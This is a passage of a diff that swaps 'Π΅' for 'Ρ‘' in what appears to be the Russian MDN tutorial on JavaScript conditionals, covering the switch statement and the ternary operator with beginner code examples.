Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π˜Π›Π˜:</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ условиС Π² <code>if(...)</code>Β  всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ†Π΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ true, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ 7 (ΠΈΠ»ΠΈ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π½Π΅Π½ΡƒΠ»Π΅Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅) всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ†Π΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ true. ЀактичСски, это условиС гласит «Ссли Ρ… Ρ€Π°Π²Π΅Π½ 5, ΠΈΠ»ΠΈ 7 являСтся trueΒ». Но Π½Π°ΠΌ трСбуСтся совсСм Π½Π΅ это. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ Π½ΡƒΠΆΠ½ΠΎΠΉ Ρ†Π΅Π»ΠΈ, придётся Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π˜Π›Π˜:</p>
<pre class="brush: js notranslate">if (x === 5 || x === 7 || x === 10 ||x === 20) {
// Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄
@@ -258,7 +258,7 @@ if (shoppingDone) { // Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ явно ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ '=== true'
<h2 id="ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€_switch">ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ switch</h2>
-<p>ВыраТСния <code>if...else</code> ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΡΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ условного ΠΊΠΎΠ΄Π°, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½ΠΈ Π½Π΅ Π»ΠΈΡˆΠ΅Π½Ρ‹ нСдостатков. Они Ρ…ΠΎΡ€ΠΎΡˆΠΎ подходят для ситуации, ΠΊΠΎΠ³Π΄Π° имССтся всСго ΠΏΠ°Ρ€Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² развития событий, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ Π±Π»ΠΎΠΊ с ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΌ количСством ΠΊΠΎΠ΄Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² случаях, ΠΊΠΎΠ³Π΄Π° условиС являСтся довольно слоТным ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ нСсколько логичСских ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ². Если ΠΆΠ΅ Π½Π°ΠΌ трСбуСтся всСго лишь Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ значСния ΠΈΠ»ΠΈ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ Ρ„Ρ€Π°Π·Ρƒ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ условии, ΠΈΠ·ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π½Π°ΠΌΠΈ синтаксис ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ довольно Π³Ρ€ΠΎΠΌΠΎΠ·Π΄ΠΊΠΈΠΌ, особСнно Ссли имССтся большоС количСство Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π²Ρ‹Π±ΠΎΡ€Π°.</p>
+<p>ВыраТСния <code>if...else</code> ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΡΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ условного ΠΊΠΎΠ΄Π°, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½ΠΈ Π½Π΅ Π»ΠΈΡˆΠ΅Π½Ρ‹ нСдостатков. Они Ρ…ΠΎΡ€ΠΎΡˆΠΎ подходят для ситуации, ΠΊΠΎΠ³Π΄Π° имССтся всСго ΠΏΠ°Ρ€Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² развития событий, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ Π±Π»ΠΎΠΊ с ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΌ количСством ΠΊΠΎΠ΄Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² случаях, ΠΊΠΎΠ³Π΄Π° условиС являСтся довольно слоТным ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ нСсколько логичСских ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ². Если ΠΆΠ΅ Π½Π°ΠΌ трСбуСтся всСго лишь Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ значСния ΠΈΠ»ΠΈ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ Ρ„Ρ€Π°Π·Ρƒ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ условии, ΠΈΠ·ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π½Π°ΠΌΠΈ синтаксис ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ довольно Π³Ρ€ΠΎΠΌΠΎΠ·Π΄ΠΊΠΈΠΌ, особСнно Ссли имССтся большоС количСство Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π²Ρ‹Π±ΠΎΡ€Π°.</p>
<p>Π’ этом случаС Π½Π°ΠΌ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚Β <a href="/en-US/docs/Web/JavaScript/Reference/Statements/switch">ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>switch</code> </a>– ΠΎΠ½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ СдинствСнноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ просматриваСт ряд Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄ΡƒΡ‚ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ этому Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ, послС Ρ‡Π΅Π³ΠΎ выполняСт ΠΊΠΎΠ΄, Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΉ этому Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρƒ. Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ использования этого ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°:</p>
@@ -284,13 +284,13 @@ if (shoppingDone) { // Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ явно ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ '=== true'
<li>Π’ скобках приводится Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</li>
<li>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>case</code>, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹Π±ΠΎΡ€Π° (ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΎΠ½ провСряСтся Π½Π° соотвСтствиС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ) ΠΈ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅.</li>
<li>Код, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ, Ссли Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ совпадаСт с Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ.</li>
- <li>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>break</code>, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Ρ‚ΠΎΡ‡ΠΊΠ° с запятой. Если Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ совпал с Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, дойдя Π΄ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>break</code>, ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠ΄Π°, располоТСнного послС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° switch.</li>
+ <li>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>break</code>, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Ρ‚ΠΎΡ‡ΠΊΠ° с запятой. Если Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ совпал с Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, дойдя Π΄ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>break</code>, ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠ΄Π°, располоТСнного послС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° switch.</li>
<li>Π’Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π²Ρ‹Π±ΠΎΡ€Π° (ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ 3–5) ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сколь ΡƒΠ³ΠΎΠ΄Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ.</li>
<li>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>default</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹Π±ΠΎΡ€Π° (ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ 3–5) Π·Π° Ρ‚Π΅ΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ, Ρ‡Ρ‚ΠΎ послС <code>default</code> Π½Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π²Ρ‹Π±ΠΎΡ€Π°, поэтому инструкция <code>break</code> Π½Π΅ трСбуСтся, Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° дальшС Π½Π΅Ρ‚. Π­Ρ‚ΠΎ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹Π±ΠΎΡ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌΡ‹ΠΉ, Ссли Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π½Π΅ совпал с Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ.</li>
</ol>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅.</strong> Π’Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹Π±ΠΎΡ€Π° <code>default</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½, Ссли Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ совпадСт с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π²Ρ‹Π±ΠΎΡ€Π°. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ <code>default</code> Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅.</strong> Π’Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹Π±ΠΎΡ€Π° <code>default</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½, Ссли Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ совпадёт с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π²Ρ‹Π±ΠΎΡ€Π°. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ <code>default</code> Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ.</p>
</div>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°_switch">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β switch</h3>
@@ -325,7 +325,7 @@ function setWeather() {
para.textContent = 'На ΡƒΠ»ΠΈΡ†Π΅ доТдь. Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ ΠΏΠ»Π°Ρ‰ ΠΈ Π·ΠΎΠ½Ρ‚, ΠΈ Π½Π΅ гуляйтС слишком Π΄ΠΎΠ»Π³ΠΎ';
break;
case 'snowing':
- para.textContent = 'Π˜Π΄Π΅Ρ‚ снСг - ΠΌΠΎΡ€ΠΎΠ·Π½ΠΎ! Π›ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΡΠΈΠ΄Π΅Ρ‚ΡŒ с Ρ‡Π°ΡˆΠΊΠΎΠΉ горячСго шоколада ΠΈΠ»ΠΈ ΡΠ»Π΅ΠΏΠΈΡ‚ΡŒ снСговика.';
+ para.textContent = 'Π˜Π΄Ρ‘Ρ‚ снСг - ΠΌΠΎΡ€ΠΎΠ·Π½ΠΎ! Π›ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΡΠΈΠ΄Π΅Ρ‚ΡŒ с Ρ‡Π°ΡˆΠΊΠΎΠΉ горячСго шоколада ΠΈΠ»ΠΈ ΡΠ»Π΅ΠΏΠΈΡ‚ΡŒ снСговика.';
break;
case 'overcast':
para.textContent = 'ДоТдя Π½Π΅Ρ‚, Π½ΠΎ Π½Π΅Π±ΠΎ сСроС ΠΈ ΠΌΡ€Π°Ρ‡Π½ΠΎΠ΅; ΠΎΠ½ всС ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ Π² Π»ΡŽΠ±ΡƒΡŽ ΠΌΠΈΠ½ΡƒΡ‚Ρƒ, поэтому Π½Π° всякий случай Π²ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ Π΄ΠΎΠΆΠ΄Π΅Π²ΠΈΠΊ.';
@@ -343,15 +343,15 @@ function setWeather() {
<h2 id="Π’Π΅Ρ€Π½Π°Ρ€Π½Ρ‹ΠΉ_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€">Π’Π΅Ρ€Π½Π°Ρ€Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</h2>
-<p>Π­Ρ‚ΠΎ послСдний тСорСтичСский Ρ€Π°Π·Π΄Π΅Π» Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΈ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ практичСским упраТнСниям. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Π’Π΅Ρ€Π½Π°Ρ€Π½Ρ‹ΠΉ ΠΈΠ»ΠΈ условный ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</a> ΠΈΠΌΠ΅Π΅Ρ‚ простой синтаксис: ΠΎΠ½ провСряСт условиС ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ссли условиС являСтся <code>true</code>, ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅/Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ссли условиС являСтся <code>false</code>. Часто это ΠΎΡ‡Π΅Π½ΡŒ удобная Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π° Π±Π»ΠΎΠΊΡƒ <code>if...else</code>, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π·Π°Ρ‚Ρ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ мСньшиС усилия Π½Π° написаниС ΠΊΠΎΠ΄Π°, ΠΊΠΎΠ³Π΄Π° имССтся всСго лишь Π΄Π²Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°, Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌΡ‹Ρ… Π½Π° основС условия <code>true</code>/<code>false</code>. ΠžΠ±Ρ‰Π°Ρ схСма ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°:</p>
+<p>Π­Ρ‚ΠΎ послСдний тСорСтичСский Ρ€Π°Π·Π΄Π΅Π» Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΈ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ практичСским упраТнСниям. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Π’Π΅Ρ€Π½Π°Ρ€Π½Ρ‹ΠΉ ΠΈΠ»ΠΈ условный ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</a> ΠΈΠΌΠ΅Π΅Ρ‚ простой синтаксис: ΠΎΠ½ провСряСт условиС ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ссли условиС являСтся <code>true</code>, ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅/Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ссли условиС являСтся <code>false</code>. Часто это ΠΎΡ‡Π΅Π½ΡŒ удобная Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π° Π±Π»ΠΎΠΊΡƒ <code>if...else</code>, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π·Π°Ρ‚Ρ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ мСньшиС усилия Π½Π° написаниС ΠΊΠΎΠ΄Π°, ΠΊΠΎΠ³Π΄Π° имССтся всСго лишь Π΄Π²Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°, Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌΡ‹Ρ… Π½Π° основС условия <code>true</code>/<code>false</code>. ΠžΠ±Ρ‰Π°Ρ схСма ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°:</p>
<pre class="notranslate">( условиС) ? Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ этот ΠΊΠΎΠ΄ : Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ этот ΠΊΠΎΠ΄ вмСсто ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ</pre>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
-<pre class="brush: js notranslate">var greeting = ( isBirthday ) ? 'Π‘ Π΄Π½Π΅ΠΌ роТдСния, Π³-Π½ ΠšΡƒΠ·Π½Π΅Ρ†ΠΎΠ²! Π₯ΠΎΡ€ΠΎΡˆΠΎ Π’Π°ΠΌ ΠΏΠΎΠ²Π΅ΡΠ΅Π»ΠΈΡ‚ΡŒΡΡ!' : 'Π”ΠΎΠ±Ρ€ΠΎΠ΅ ΡƒΡ‚Ρ€ΠΎ, Π³-Π½ ΠšΡƒΠ·Π½Π΅Ρ†ΠΎΠ².';</pre>
+<pre class="brush: js notranslate">var greeting = ( isBirthday ) ? 'Π‘ Π΄Π½Ρ‘ΠΌ роТдСния, Π³-Π½ ΠšΡƒΠ·Π½Π΅Ρ†ΠΎΠ²! Π₯ΠΎΡ€ΠΎΡˆΠΎ Π’Π°ΠΌ ΠΏΠΎΠ²Π΅ΡΠ΅Π»ΠΈΡ‚ΡŒΡΡ!' : 'Π”ΠΎΠ±Ρ€ΠΎΠ΅ ΡƒΡ‚Ρ€ΠΎ, Π³-Π½ ΠšΡƒΠ·Π½Π΅Ρ†ΠΎΠ².';</pre>
-<p>Π£ нас Π΅ΡΡ‚ΡŒ пСрСмСнная <code>isBirthday</code> , Ссли ΠΎΠ½Π° <code>true</code>, ΠΌΡ‹ отправляСм ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚Π΅Π»ΡŽ ΠΏΠΎΠ·Π΄Ρ€Π°Π²Π»Π΅Π½ΠΈΠ΅ с Π΄Π½Π΅ΠΌ роТдСния; Ссли Π½Π΅Ρ‚ – Π²Ρ‹Π΄Π°Π΅ΠΌ стандартноС привСтствиС.</p>
+<p>Π£ нас Π΅ΡΡ‚ΡŒ пСрСмСнная <code>isBirthday</code> , Ссли ΠΎΠ½Π° <code>true</code>, ΠΌΡ‹ отправляСм ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚Π΅Π»ΡŽ ΠΏΠΎΠ·Π΄Ρ€Π°Π²Π»Π΅Π½ΠΈΠ΅ с Π΄Π½Ρ‘ΠΌ роТдСния; Ссли Π½Π΅Ρ‚ – Π²Ρ‹Π΄Π°Ρ‘ΠΌ стандартноС привСтствиС.</p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_Ρ‚Π΅Ρ€Π½Π°Ρ€Π½ΠΎΠ³ΠΎ_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π΅Ρ€Π½Π°Ρ€Π½ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°</h3>
@@ -360,7 +360,7 @@ function setWeather() {
<pre class="brush: html notranslate">&lt;label for="theme"&gt;Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ‚Π΅ΠΌΡƒ: &lt;/label&gt;
&lt;select id="theme"&gt;
&lt;option value="white"&gt;БСлая&lt;/option&gt;
- &lt;option value="black"&gt;ЧСрная&lt;/option&gt;
+ &lt;option value="black"&gt;Чёрная&lt;/option&gt;
&lt;/select&gt;
&lt;h1&gt;Π­Ρ‚ΠΎ ΠΌΠΎΠΉ Π²Π΅Π±-сайт&lt;/h1&gt;</pre>
@@ -381,9 +381,9 @@ select.onchange = function() {
<p>{{ EmbedLiveSample('ΠŸΡ€ΠΈΠΌΠ΅Ρ€_Ρ‚Π΅Ρ€Π½Π°Ρ€Π½ΠΎΠ³ΠΎ_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°', '100%', 300) }}</p>
